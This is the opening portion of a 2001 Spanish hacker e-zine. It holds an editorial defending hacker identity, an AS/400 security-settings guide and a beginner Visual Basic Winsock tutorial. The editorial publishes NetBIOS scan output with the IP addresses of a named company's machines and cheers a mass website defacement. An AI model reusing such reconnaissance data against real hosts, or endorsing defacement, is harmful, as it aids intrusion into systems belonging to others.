Editorial -CDLR saliendo del armario-, AS/400. Seguridad Nivel 50, 3ª parte, Programacion basica en Visual Basic, El control Winsock.ocx y creacion de troyanos bajo VB, TrojanSOCK: el troyano de VB, WAP: ¿La Internet mas facil?, El Informe Echelon, Ataques a SQL Server, Overclocking, Descubriendo Linux Red Hat 5.0 (parte III), Buscando, buscando en la red, Telefonica, Quien si no ?, IRC Bots - Eggdrops, Noticias CDLR, Bugs & Xploits, Ha llegado Mail.....
Texto Completo:
<< PROYECTO_R >> EL PRIMER MAGAZINE ELECTRONICO CHILENO
____ __ ____
/\ _`\ /\ \__ /\ _`\
\ \ \L\ \_ __ ___ __ __ __ ___\ \ ,_\ ___ \ \ \L\ \
\ \ ,__/\`'__\/ __`\/\ \/\ \ /'__`\ /'___\ \ \/ / __`\ \ \ , /
\ \ \/\ \ \//\ \L\ \ \ \_\ \/\ __//\ \__/\ \ \_/\ \L\ \ \ \ \ \
\ \_\ \ \_\ \____/\/`____ \ \____\ \____\ \__\ \____/ \ \_\ \_\
\/_/ \/_/ \/___/ `/___/> \/____/\/____/ \/__/\/___/ _______\/_/\/ /
/\___/ /\______\
\/__/ \/______/
LA COPIA INFELIZ DEL EDEN
MAIL:
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
URL: www.cdlr.org
<--------: Numero 11 - Julio del 2001 :-------->
:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:
-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-
..--:: DISCLAIMER ::--..
Toda la informacion aqui contenida se publica unicamente con fines
educativos, el mal uso de la misma no sera en ningun caso responsabilidad
del editor ni de alguno de los miembros del staff, en algunos casos esa
misma informacion es solo un modo de diversion, ya que lo que aqui se
expone puede ser totalmente falso
Aunque poner en practica algunas de las cosas aqui publicada puede ser
ilegal, en ningun momento pretendemos inducir a la ilegalidad con
lo aqui expuesto.
Los acentos y caracteres especiales han sido eliminados para evitar
problemas de compatibilidad con algunos sistemas
Editor Recomendado Edit del DOS
En otros no se ve del todo bien
:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:
-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-
..--:: Staff Oficial ::--..
PlaXiuS Taker
AndyK Mate Swichman
Don Cucumber ToNiK
Mr.Nexus teespy
CHacK Death_Bot
Billy Evilnet
Bienvenido evilnet !!
..--:: Lamer del Mes ::--..
Gustavin Alhucena, que alucina en colores pensando en peligrosos
'juankers' que le quieren fastidiar el negocio ... (V. editorial)
..--:: Soporte 911 ::--..
* Soporte: Soporte Tecnico, Buenos Dias.
* Cliente: Si, bueno, tengo un problema con mi Word.
* Soporte: Que tipo de problema?
* Cliente: Bueno solamente estaba escribiendo y de pronto todas las palabras
se fueron.
* Soporte: Se fueron?
* Cliente: Desaparecieron.
* Soporte: Hmm Entonces, Que hay en la pantalla ahora?
* Cliente: Nada. Esta en blanco. No acepta nada cuando escribo.
* Soporte: Esta usted todavia en Word, o lo cerro?
* Cliente: Como lo puedo saber?
* Soporte: Puede ver el C prompt en la pantalla.
* Cliente: Que es un sea-pront?
* Soporte: Olvidelo. Puede mover el cursor a traves de la pantalla?
* Cliente: No hay ningun cursor. Ya le dije no acepta nada cuando escribo.
* Soporte: Tiene su monitor un indicador de poder?
* Cliente: Donde esta el monitor?
* Soporte: Es la cosa con la pantalla que se parece a un televisor.
Tiene una pequena lucecita que le indica cuando esta encendido.
* Cliente: No se.
* Soporte: Bueno entonces mire atras del monitor y encuentre el cable de
poder que sale de este. Lo puede ver?
* Cliente: Si creo que si.
* Soporte: Cuando se asoma detras del monitor nota que hay dos cables
conectados a el y no solo uno.
* Cliente: No.
* Soporte: Bueno hay dos. Necesito que vuelva a mirar atras y encuentre el
otro cable.
* Cliente: OK aqui esta.
* Soporte: Por favor sigalo y digame si esta bien conectado atras de su
computadora.
* Cliente: No alcanzo.
* Soporte: Bueno, puede ver si lo esta?
* Cliente: No.
* Soporte: Tal vez si pone su rodilla en algo y se inclina.
* Cliente: No es porque no tenga el angulo correcto, es porque esta oscuro.
* Soporte: Oscuro?
* Cliente: Si la luz de la oficina esta apagada y la unica luz que me llega
viene de la ventana.
* Soporte: Bueno entonces encienda la luz de la oficina.
* Cliente: No puedo.
* Soporte: No? Por que no?
* Cliente: Porque hace un rato se fue la electricidad.
* Soporte: Ah, la electricidad... Se fue la electricidad. Aja.
Bueno, ya lo tenemos. Todavia tiene las cajas y manuales y los
demas empaques en que venia su computadora?
* Cliente: Bueno, si los mantengo en el armario.
* Soporte: Excelente. Saquelos desconecte su sistema y empaquelo tal como
estaba cuando lo compro. Luego llevelo de vuelta al departamento
que se lo dio.
* Cliente: De verdad? Tan malo es?
* Soporte: Si, me temo que si.
* Cliente: Bueno, esta bien supongo. Que les digo?
* Soporte: Digales que usted es demasiado GUEON para tener una computadora.
Plop..!!!
..--:: Saludos ::--..
NetSearch E-Zine http://www.netsearch-ezine.com
SET http://www.set-ezine.org
RaregaZz http://raregazz.acapulco.uagro.mx
JJF/Hackers Team http://www.jjf.org
InET http://www.warpedreality.com/inet
HVen http://www.hven.com.ve
Networking Center http://www.networking-center.org
Zine Store http://surf.to/zs
Y muchos mas que se olvidan...
Si me dieran un botellin de cerveza por cada botellin de cerveza que
me bebi durante la edicion de esta R, estaria doblemente borracho.
:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:
-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-
..--:: Contenidos ::--..
01. Introduccion .......................................... Editor
02. Editorial -CDLR saliendo del armario- ................. Editor
03. AS/400. Seguridad Nivel 50, 3ª parte .................. Taker
04. Programacion basica en Visual Basic ................... Netreus
05. El control Winsock.ocx y creacion de troyanos bajo VB . SLAYER
06. TrojanSOCK: el troyano de VB .......................... SLAYER
07. WAP: ¿La Internet mas facil? .......................... krajeck
08. El Informe Echelon .................................... Zagato
09. Ataques a SQL Server .................................. PlaXiuS
10. Overclocking .......................................... General Failure
& Mr.Nexus
11. Descubriendo Linux Red Hat 5.0 (parte III) ............ Mr.Nuk3m
12. 3 1/2 (O mini-articulos, :)) .......................... Varios
12.1/3 Buscando, buscando en la red ...................... CHack
12.2/3 Telefonica, Quien si no ? ......................... Portavoz
12.3/3 IRC Bots - Eggdrops ............................... Sicario
13. Noticias CDLR ......................................... Editor
14. Noticias del Mundo del Espectaculo .................... CDLR
15. Bugs & Xploits ........................................ Taker & teespy
16. Ha llegado Mail ....................................... CDLR
17. Chistes, Cuentos y otras burradas ..................... General Failure
18. Llaves PGP............................................. CDLR
19. EOF ................................................... Editor
:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:
-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-
..--:: 01. Introduccion ::--..
by Mr.Nexus
Compa~eros, compa~eras, ilustre profesor ... hmmm, estaba recordando la
presentacion de mi proyecto de fin de curso hace un par de dias, y de paso,
me disculpo por la enorme tardanza de este numero del zine, xD
Pues si, numerosas responsabilidades han hecho que este numero no saliera en
la fecha prometida ... ¿hace cuantos meses?, pero bah, al que no le guste que
no mire.
Bueno, al tajo, en este numero os vais a encontrar con varios articulos de
programacion en redes, info de sistemas NT, overcloking, WAP, SQL, articulos
de opinion .. bueno, que vamos cargaditos.
Era lo minimo que podiamos hacer despues de haceros esperar tanto tiempo,
hacer un zine con muchos articulos :D. A su salud...
:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:
-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-
..--:: 02. Editorial -CDLR saliendo del armario- ::--..
by Mr.Nexus
"Los hackers son un poco autistas"... Ya hace bastante tiempo que el ilustre
teniente Anselmo del Moral, jefe del grupo de delitos informaticos de la
Guardia Civil de Espa~a, deleitara a los medios con esta afirmacion.
http://www.el-mundo.es/navegante/98/noviembre/06/entremoral.html
En fin, quizas alguien penso que tal atrevimiento no era mas que fruto del
desconocimiento de lo que ocurre de verdad, pero no!, parece ser que incluso
los profesionales de la seguridad informatica opinan este tipo de cosas ...
quizas muchos ya saben que quiero decir ...
Hace pocos meses, el gerente de ingenieria de nuestra queriiiiiida Bysecure,
Gustavo Alhucena, movido por la misma ignorancia que su antecesor, osaba
decir estas palabras:
"Se caracterizan por tener un caracter reservado, introvertido y poco
sociable"
[Nex: Vete y diselo a las camareras de 'mi' bar ]
"Convertirse en hacker es mas facil de lo que se piensa. Para ello, solo se
necesita un computador con conexion telefonica, dos o tres programas
especificos para la intromision de sistemas y conocimientos basicos de
comandos en DOS"
[Nex: A ver ....
C:\>hack
"hack" no se reconoce como un comando interno o externo,
programa o archivo por lotes ejecutable.
Bah!, ya ni siquiera me se el comando secreto ... ]
"Siempre se esconde tras el anonimato de un nombre clave o nickname"
[CDLR: Preparate... estos somos nosotros...
Mi nombre es Javier Lopez, soy de Asturias (Espa~a), estoy realizando
estudios superiores de informatica y actualmente trabajo para una empresa de
seguridad informatica. Hasta aqui todo bien... pero resulta que en la Red hay
quien me conocen como Nexus, perteneciente al grupo CDLR, creadores del que
probablemente sea el e-zine hacker mas importante de latinoamerica en la
actualidad.
Mi nombre es Sacha Yunusic, soy de Santiago, Chile. Estudio Ingeneria Civil
en una universidad Chilena y tambien trabajo en una empresa de seguridad
informatica. En la red mi nombre es Don Cucumber, o cucumber solamente, como
prefieran. Soy miembro de CDLR hace mas o menos dos a~os y estoy feliz de
pertenecer a el.
Mi nombre es Felipe Sanchez, soy de Medellin, Colombia, estudio ingenieria de
sistemas y trabajo en una importante empresa como Coordinador de Informatica
, hace unos cuantos a~os pululo por la red, y hace unos cuantos mas me muevo
entre los coputadores con el nombre de Taker, me adheri a CDLR hace un par de
a~os y estoy orgulloso de haberlo hecho, y por lo que somos y hacemos, no
necesitamos un pasamonta~as virtual, creo que contribuimos al desarrollo de
la seguridad y la red en si.
Mi nombre es Marco Torres, soy Tecnico Eletronico y en estos momentos
estudio Ingenieria en Informatica . Trabajo como Ingeniero de software y
Product Manager de seguridad en una empresa multinacional con casa matriz en
Espa~a. En la red soy conocido como "PlaXiuS" creador del E-zine proyecto R ,
que es una de las cosas que mas me enorgullecen en la vida tanto por el
trabajo que este ha tomado como por el grupo humano que conforma CDLR. Pues
ya he dado la cara en varias oportunidad pero aca lo hago con la frente en
alto para que se deje de hablar de los hackers como un grupo de delincuentes
que se ocultan en el anonimato bajo un nick. Estoy orgulloso de lo que hago y
no tengo nada que esconder asi que aqui estoy.
Yo soy Cesar Ramos, soy de la Ciudad de Mexico, Mexico y licenciado en
economia de profesion; actualmente trabajo para de la empresa comercial mas
grande de mi pais. Participo en CDLR desde su fundacion bajo el seudonimo de
CHack y no obstante ser el miembro mas viejo y menos apto del grupo he
encontrado en el, la honesta y desinteresada ayuda informatica, a todo aquel
que lo necesita.
Soy Tomas Saieg, perteneciente a CDLR desde hace algun tiempo. A la fecha
(02/2001) estoy cursando 4 medio en un colegio chileno, y trabajando en una
empresa de seguridad informatica. Me muevo en la red con el nick "teespy".
Yo soy David Soto, de Talcahuano Chile. Perteneciente a CDLR desde su
segunda edicion. Soy tecnico electronico y actualmente estudio ingenieria
civil electronica. Desde que me paseo por Inet mi nick ha sido AnDyK.
Como grupo queremos dejar en claro que no nos avergonzamos de lo que hacemos,
ni mucho menos de lo que somos. A cada uno de nosotros nos educaron para ser
personas honradas y a aceptar las consecuencias de nuestros errores... ¿hemos
cometido alguno por hacer lo que nos gusta sin molestar a nadie?
Cada uno de nosotros tenemos distintos gustos dentro de la seguridad
informatica. Algunos de nosotros nos dedicamos a desarrollar software que
sirva de apoyo a lo que estamos aprendiendo en forma personal o colectiva,
como es en el caso de los grupos como CDLR, otros se dedican a buscar fallos
de seguridad en programas comerciales usados en los computadores de grandes
compa~ias. Algunos de nosotros hemos encontrado y dise~ado ataques contra
servidores telnet, ftp, http, pop3, etc... mantenemos un contacto habitual
con desarrolladores de software que encontramos errores y colaboramos con
ellos para reparar el fallo.
Hemos escrito numerosos articulos sobre seguridad informatica, es mas,
tenemos en linea el numero 10 de nuestra revista electronica (o ezine), donde
tratamos de ense~ar las vulnerabilidades de los sistemas informaticos mas
variados, respondemos educadamente todos los mails que recibimos a nuestras
casillas personales o a las del grupo preguntando o consultando algo, y
procuramos colaborar en listas de correo sobre seguridad. Tanto asi, que
somos fundadores, gracias al especial apoyo de Javier, de una lista de
seguridad de un sistema operativo muy importante en Internet, siendo esta
lista uno de los principales puntos de encuentro de los administradores de
toda hispanoamerica que quieren asegurar sus servidores y muchos de los
integrantes del grupo tratamos de apoyarlos y ayudarlos dentro de lo que
podemos. No somos sus enemigos, al contrario.
Tambien hemos estado muchas veces en contacto con los departamentos de
informatica de muchas compa~ias, avisando sobre problemas de seguridad en sus
sistemas, y asesorando sobre la mejor manera de susbsanarlos. Disfrutamos
cuando avisamos a algun administrador de fallos de seguridad en sus maquinas
y cuando recibimos una respuesta cordial de agradecimiento.
Estamos en contra del crackeo de paginas (modificacion de las paginas web
para hacerse popular), pero algunas veces la disculpamos, por ser esta la
unica manera de que algunos se~ores puedan ver lo evidente. Lo que no
aceptamos bajo ningun aspecto, es el crackeo de servidores (destruccion de la
informacion con mala intencion, por la mera razon de hacer algo malo), eso es
inaceptable. Estamos a favor de la "full disclosure" (acceso libre y total de
la informacion) y nos encanta ver como cada dia se desarrollan nuevas formas
de proteger sistemas... y de vulnerarlos. Nosotros intentamos apoyar en ambos
casos. Es con estas cosas que nos ayudamos a nosotros como personas con ganas
de aprender sobre este tema, nos ayudamos como grupo y tambien ayudamos a las
compa~ias de seguridad.
Supongo que si existe una definicion para lo que hacemos, esta muy cerca de
lo que la gente considera un hacker o mejor dicho de lo que la gente que
entiende del tema entiende por hacker, ya que muchas veces se confunde hacker
con cracker, con delincuente. En definitiva, estamos orgullosos de lo que
somos.
No debemos avergonzarnos de nada de lo que hacemos, porque nada de lo que
hacemos esta mal.
No somos nadie que se esconda detras del falso anonimato que puede dar la
Red, no somos ningunos ni~os jugando con computadores sin saber lo que
hacemos, ni tenemos la imagen estereotipada de un hacker que dicen los
medios. Somos hackers y no somos criminales ]
Ok, .. y por si esto fuera poco, estos chicos de BySecure van y se atreven a
escanearnos con sus poderosas herramientas de hackeo xDD
[Plax: Bueno la IP que nos ataco es la 200.29.134.141 y es de un computador
llamado Ulises que por coincidencia pertenece al mismo grupo de trabajo del
servidor que mantiene el web de Bysecure..Miren
IP 200.29.134.141 //IP en nuestro LOG
Name Type Status
---------------------------------------------
ULISES <20> UNIQUE Registered
ULISES <00> UNIQUE Registered
FWALL <00> GROUP Registered
ULISES <03> UNIQUE Registered
FWALL <1E> GROUP Registered
IP 200.29.134.132 // IP de www.bysecure.cl
Name Type Status
---------------------------------------------
VULCANO <00> UNIQUE Registered
VULCANO <20> UNIQUE Registered
FWALL <00> GROUP Registered
BYSECURE <00> GROUP Registered
BYSUPPORT <00> GROUP Registered
VULCANO <03> UNIQUE Registered
FWALL <1E> GROUP Registered
FWALL <1D> UNIQUE Registered
..__MSBROWSE__.<01> GROUP Registered
VULCANO <01> UNIQUE Registered
Entre lineas .. es malo dejar la interface netbios abierta hacia Internet
... se les podria colar algun cybercriminal .. Ahora uds. saquen sus
conclusiones ... nosotros no juzgamos a nadie pero si decimos lo que
pensamos..]
Bah!, si es que estas empresuchas sin escrupulos es lo que tienen,
trabajadores inutiles pero ases del marketing, que salen muy guapos cuando
hay que posar para una foto. Solo saben hacer eso.
No somos los unicos que opinamos basura en contra de BySecure, apenas unas
semanas despues de que ocurriera todo esto, otro grupo crackeo cerca de 100
sites dedicando flames contra BySecure. A su salud.
:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:
-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-
..--:: 03. AS/400. Seguridad Nivel 50, 3ª parte ::--..
by Taker
Hi, vamos ahora a terminar esta saga de articulos sobre AS/400, ya creo que
con tres partes es suficiente no... para mi si... ;) y a ver que escribo para
la R siguiente...
Sigamos con los parametros:
QRETSVRSEC -- Este parametro se creo, con el fin de controlar el
almacenamiento de passwords en texto claro en el AS/400. Aunque en el sistema
no se encuentran (de forma visible) los password de los perfiles de usuario,
pues estan cifrados de forma one-way (que imagino ya ustedes sabran de que se
trata). Este parametro se utiliza para controlar passwords que dan acceso a
otros sistemas, por ejemplo, los del protocolo SLIP, que debe tener un
password descifrable para poder ser utilizado para hacer la conexion a otro u
otros sistemas. Adicional a esto, en la Version 4 Release 2 (V4R2) se pueden
almacenar passwords descifrables a traves de una lista de validacion.
Si no desea que los passwords descifrables esten almacenados en su sistema,
cambie el valor de QRETSVRSEC a 0 (Asi viene por defecto). Si el valor de
este parametro es cambiado de 1 a 0, todos los passwords descifrables seran
eliminados del sistema.
Para el cambio de este valor, se deben tener autorizaciones de: *ALLOBJ y
*SECADM.
QRMTSIGN -- Valor de acceso remoto al sistema. El comando STRPASTHR (Iniciar
a traves de) permite al solicitante de un inicio de sesion, entrar a un
sistema objetivo dando el perfil de usuario, nombre, contrase~a, programa
inicial, menu inicial y libreria, con el fin de saltarse los procedimientos
normales de login en el sistema remoto (o sea, entrar directamente al sistema
sin necesidad de ver la pantalla de inicio.
Esta caracteristica, permite automatizar los servicios del passthrough.
El valor de sistema QRMTSIGN determina como el sistema manejara las
solicitudes de passthrough (algo asi como pasarela) que recibe. *FRCSIGNON
hace que todas las sesiones de pasarela que reciba se inicien de la forma
normal, es decir validando nombre de usuario en la pantalla. Si el nombre del
perfil de usuario no es el mismo en el sistema origen y el sistema destino,
el intento falla. Con el valor *SAMEPRF, la sesion pasarela solo sera
permitida cuando el nombre de usuario es identico en ambos sistemas. Con el
valor *REJECT, todas las sesiones pasarela son rechazadas. Con el valor
*VERIFY, sucede lo siguiente: en el nivel de seguridad 10, todas las sesiones
pasarela pueden ser aceptadas siguiendo los procedimientos normales de sign-
on, y no se requiere de contrase~a. En el nivel 20 de seguridad, las
solicitudes de pasarela (las que se saltan los procedimientos normales de
sign-on) deben contener un usuario valido y la contrase~a valida para ese
usuario. Como otra alternativa, se puede dise~ar un programa que sera
ejecutado antes y despues de cada sesion de pasarela. Asi entonces, el
programa especificado puede controlar y loggear cada sesion de pasarela.
Si en el sistema no se utlizan accesos a otros sistemas, ajuste el valor de
QRMTSIGN a *REJECT. Si por el contrario este tipo de comunicacion existe,
utilice el valor *VERIFY que es el que requiere que sean introducidos ambos
perfiles de usuario y sus contrase~as respectivas.
QUSEADPAUT -- Utilizar permisos Adoptados. Este parametro controla cuando un
programa va a utilizar permiso adoptado desde un programa que este mas arriba
en la pila de llamadas y define que usuario pueden crear programas con el
atributo USEADPAUT(*YES). Veamos un ejemplo para su uso, si un empleado, o
algun intruso crea un programa con el mismo nombre de un programa de una
aplicacion y lo almacena en una libreria con mas prioridad en la lista de
librerias que la del programa real, entonces al llamar el programa, se
ejecutara antes el programa del intruso y sera posible a traves de el
adquirir los permisos adoptados del programa original. Para prevenir que un
usuario cree este tipo de programas se puede crear una lista de
autorizaciones y pasarla como parametro al valor del sistema. Para estar mas
seguros, se puede crear la lista de autorizacion con los atributos de
*PUBLIC(*Exclude), y despues dar permisos solo a los usuarios a los que se
les permita crear esta clase de programas. La utilizacion de este parametro
es recomendada para los sistemas en produccion, pero no se recomienda en los
sistemas de desarrollo, ya que puede impactar de algun modo la forma en que
los programadores hace su trabajo.
** VALORES DEL SISTEMA RELACIONADOS CON LOS PASSWORDS **
Existen 10 valores del sistema que tienen que ver con el uso del comando
CHGPWD. Cuando un usuario utiliza este comando para cambiar su contrase~a, el
sistema verifica cada uno de estos valores del sistema para determinar las
reglas que aplicara al formato de la nueva contrase~a. Si alguno de esos
valores restringe el formato de las contrase~as y la nueva contrase~a del
usuario viola esas reglas, el sistema envia un mensaje de error y el usuario
debera elegir una nueva contrase~a.
Es necesario recordar que las contrase~as deben ser secretas, dificiles de
adivinar y que deben ser cambiadas regularmente. Sin embargo, la mayorias de
las veces "dificil de adivinar" es sinonimo de "dificil de recordar". Y
cuando las contrase~as son dificiles de recordar, los usuarios acostumbran
escribirlas en un post-it y pegarlo al lado del monitor, o en la CPU (vaya
usted a saber) para no olvidarlas y esto sin duda es un grave problema para
la seguridad. Miremos los valores que existen:
QPWDEXPITV -- Intervalo de caducidad de la contrase~a. Este determina el
numero maximo de dias que una contrase~a es valida. Cuando pasa el limite de
tiempo, la contrase~a caduca, y en el siguiente intento de entrada al sistema
este devolvera inmediatamente a la pantalla de CHGPWD, pbligando al usuario a
cambiar la contrase~a, de lo contrario no podra ingresar al sistema.
Las recomendaciones son las siguientes: Para usuarios tipicos asignar valores
entre 60 y 90 dias. Para usurios con permisos especiales o que tengan acceso
a funciones especiales o datos importantes (areas como recursos humanos,
pagos etc), darles un valor entre 30 y 45 dias, y para otros usuarios asignar
valores que usted considere adecuados. Este valor del sistema puede ser
omitido si se utiliza el parametro PWDEXPITV de los perfiles de usuario.
QPWDRQDDIF -- Se requiere contrase~a diferente. Este parametro previene que
los usuarios utilicen una nueva contrase~a que ya haya sido seleccionada
alguna vez anterior, en sistemas anteriores al V3R1 (que de por si esta un
poco viejo ya...;)), este valor solo permitia que el sistema verificara las
32 contrase~as anteriores. Ahora en los sistemas siguientes hay rangos entre
0 y 8, y nos permite los siguientes valores:
0 Opcion deshabilitada
1 No se pueden duplicar las 32 contrase~as anteriores
2 No se pueden duplicar las 24 contrase~as anteriores
3 No se pueden duplicar las 18 contrase~as anteriores
4 No se pueden duplicar las 12 contrase~as anteriores
5 No se pueden duplicar las 10 contrase~as anteriores
6 No se pueden duplicar las 8 contrase~as anteriores
7 No se pueden duplicar las 6 contrase~as anteriores
8 No se pueden duplicar las 4 contrase~as anteriores
Esta nueva implementacion de este valor del sistema resulta muy util, por lo
menos se puede evitar que un usuario no duplique sus ultimas 4 contrase~as y
si se quiere ser un poco mas estricto, evitar que dupliquen las ultimas 10
contrase~as.
QPWDMINLEN -- Numero minimo de caracteres en contrase~a. Este valor determina
el numero minimo de caracteres que debe contener una contrase~a para ser
valida. No mucho que decir para este valor. Sugerencia: Coloque a 8 como
minimo este valor, para no tener nombres de usuarios y contrase~as muy cortas
y faciles de averiguar.
QPWDRQDDGT -- Necesita un digito. Este determina si la contrase~a necesita al
menos un digito (0 a 9) para ser valida. Se recomienda el uso de por lo menos
1. Este procedimiento no asegura que se obtengan contrase~as seguras, pero al
menos hara que un ataque sea menos facil.
QPWDLMTAJC -- Limitar el uso de digitos adyacentes. Este valor restringe el
uso de digitos adyacentes, asi se puede prevenir el uso de contrase~as como
11111111, numeros de telefono, numeros de identificacion.
QPWDLMTCHR -- Limitar el uso de caracteres especificos. Permite especificar
hasta 10 caracteres que no seran permitidos en contrase~as validas. Los
caracteres que pueden ser usados normalmente en una contrase~a son A a la Z
(no son case sensitive, es los mismo "A" que "a"), numero del 0 al 9 y los
caracteres especiales #, $ y @.
QPWDLMTREP -- Limitar el uso de caracteres repetidos. Este valos permite
evitar el uso de caracteres repetidos en una contrase~a. El valor por defecto
0 permite que un caracter sea repetido en una contrase~a. Con el valor en 1,
se evita que un mismo caracter sea utilizado varias veces en una contrase~a,
asi las contrase~as "aaabbb" y "ababab" no serian valida porque se esta
repitiendo un caracter. Con el valor a 2, se evita que se repita un caracter
consecutivamente, en este caso la contrase~a "aaabbb" no seria valida, pero
la contrase~a "ababab" si lo seria porque los caracteres repetidos no lo
estan consecutivamente.
QPWDPOSDIF -- Posicion diferente. Permite prevenir el uso de un caracter en
una nueva contrase~a en la misma posicion que tenia en la contrase~a
anterior. Fue dise~ado con el proposito de evitar el uso de contrase~as como
CASA1, CASA2, CASA3 etc...
QPWDVLDPGM -- Programa de validacion de contrase~as. Permite trabajar la
validacion de contrase~as con un programa diferente al nativo del OS/400 (o
en conjunto con el), se utiliza con el fin de aplicar reglas impuestas por
las politicas de seguridad, pero en general no se recomienda y si por algun
caso necesario se debe utilizar, este no deberia grabar las contrase~as de
usuario. Es mejor colocar este valor en *NONE.
*** Fin ***
Hasta aqui llegamos por ahora, queda pendiente el articulo sobre auditorias
del sistema, y alguna otra cosilla que se me escapa ahora...
Nos vemos en la Proxima...
Taker
CDLR
:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:
-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-
..--:: 04. Programacion basica en Visual Basic ::--..
by Netreus
-He de dejar en claro que este texto es basico y esta hecho para novatos
en que quieren aprender a hacer sus propios programas para internet-
Como veremos aplicaciones para Internet hablare algo acerca del protocolo TCP
TCP (Transfer Control Protocol)
Agrupa un paquete de protocolos de comunicacion de datos. Es uno de los
protocolos mas usados em Internet. Y sus caracteristicas:
-Es un estandar de protocolos abiertos, cualquiera puede crear aplicaciones
que usen TCP. Como lo haremos en este articulo.
-Es independiente del software y el hardware que usemos en la conexion.
lo cual permite que un PC Windows pueda intercambiar datos usando TCP
tanto con un UNIX o un Linux o MAC , etc.
Basicamente para hacer una conexion ya sea: telnet, ftp, http, irc, etc...
debemos saber como comunicarnos con el computador remoto. El control Winsock
de VB nos proporciona una manera facil de realizar conexiones. Las
utilidades que podemos darle estan por ejemplo en hacer un programa para
conectarse a la web (navegador), al IRC(Cliente IRC), Cliente FTP,programa
para enviar mails, como escaner de puertos,tambien como servidor ;D
etc...
Inicialmente es importante saber:
-La IP a la cual te conectaras
-El puerto que utiliza esa conexion
ejemplo
IP Puerto
irc.terra.cl 200.28.216.211 6667
maya.latinchat.com 128.242.212.181 5725
www.yahoo.com 64.58.76.176 80
Estaria demas dar una lista de puertos ya que existen varias por la red
pero dare algunos ejemplos
ftp 21
telnet 23
smtp 25
finger 79
http 80
pop3 101
irc 6667
...
Abriremos el VB con un proyecto nuevo, exe estandar al formulario nuevo
agregaremos:
- 5 CommandButton
- 4 controles TextBox
- 1 etiqueta Label
Crear un control Winsock en el formulario (si no lo encuentras en el cuadro
de herramientas, debes agregarlo. Esto se hace con Ctrl + T o en la barra
de herramientas -> Proyecto -> Componentes...
Y lo buscas en la lista con el nombre de "Microsoft Winsock Control"
al aceptar te aparece en el cuadro de herramientas un icono con dos peque~os
computadores ).
El formulario quedaria de esta manera:
+----------------------------------------------------------+
|+----------------++--------++--------++-----------++-----+|
|| 127.0.0.1 ||Conectar||Escuchar||Desconectar||Salir||
|+----------------++--------++--------++-----------++-----+|
|+-------------+ +---------------------------------+ |
||Puerto Local | | Label1.label | |
|+-------------+ | | |
|+-------------+ | | |
||Puerto Remoto| +---------------------------------+ |
|+-------------+ |
| +------------------------------------------+|
| | Text1.Text ||
|+-----------+ | ||
|| Enviar | | ||
|+-----------+ | ||
| | ||
| +------------------------------------------+|
|+--------------------------------------------------------+|
|| ||
|| ||
|| ||
|| Text2.Text ||
|| ||
|| ||
|| ||
|+--------------------------------------------------------+|
+----------------------------------------------------------+
Revisar el codigo que acompana este articulo pro.vbp (VBejemplos.zip)
En Text1.Text pondremos ordenes.
La informacion que recibamos se vera en text2.Text.
Que haremos con esto?:
Lo ejecutamos, le pondremos el puerto Local = 80,
presionamos "Escuchar" ahora ya tenemos abierto el puerto 80
en nuestro pc, podremos recibir datos de cualquier navegador web,
veamos esto abriendo el explorer, escribimos http://127.0.0.1
127.0.0.1 se utiliza para conectarse a si mismo,
(no es necesario estar conectado a internet)
Si todo esta bien el explorer indicara que se esta conectando
a http://127.0.0.1.
Y nuestro programa recibira los campos de cabecera de la peticion,
que son unas lineas parecidas a estas:
--------------------------------------------------------------
GET / HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*
Accept-Language: es
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)
Host: 127.0.0.1
Connection: Keep-Alive
(linea en blanco al final muy importante)
---------------------------------------------------------------
- La primera linea el comando GET indica al servidor que envie la
pagina solicitada.
- La segunda dice que formatos de imagen acepta nuestro navegador
- La tercera dice el lenguaje que tenemos definido es = espa~ol
- La cuarta el tipo de codificacion
- La quinta datos que identifican nuestro navegador
- La sexta, Host dice donde estamos conectados actualmente
- La ultima dice el tipo de conexion
Esto es lo que generalmente se envia en una conexion http, ahora usando la
curiosidad: que pasaria si enviamos estas mismas lineas hacia una web ? por
ejemplo http://www.yahoo.com
la funcion en VB para enviar esto seria:
Sub FuncionEnviar()
Dim Com As String
Com = "GET / HTTP/1.1" + vbCrLf
Com = Com + "Accept: image/gif, image/x-xbitmap, image/jpeg, _
image/pjpeg, */*" + vbCrLf
Com = Com + "Accept-Language: es" + vbCrLf
Com = Com + "Accept-Encoding: gzip, deflate" + vbCrLf
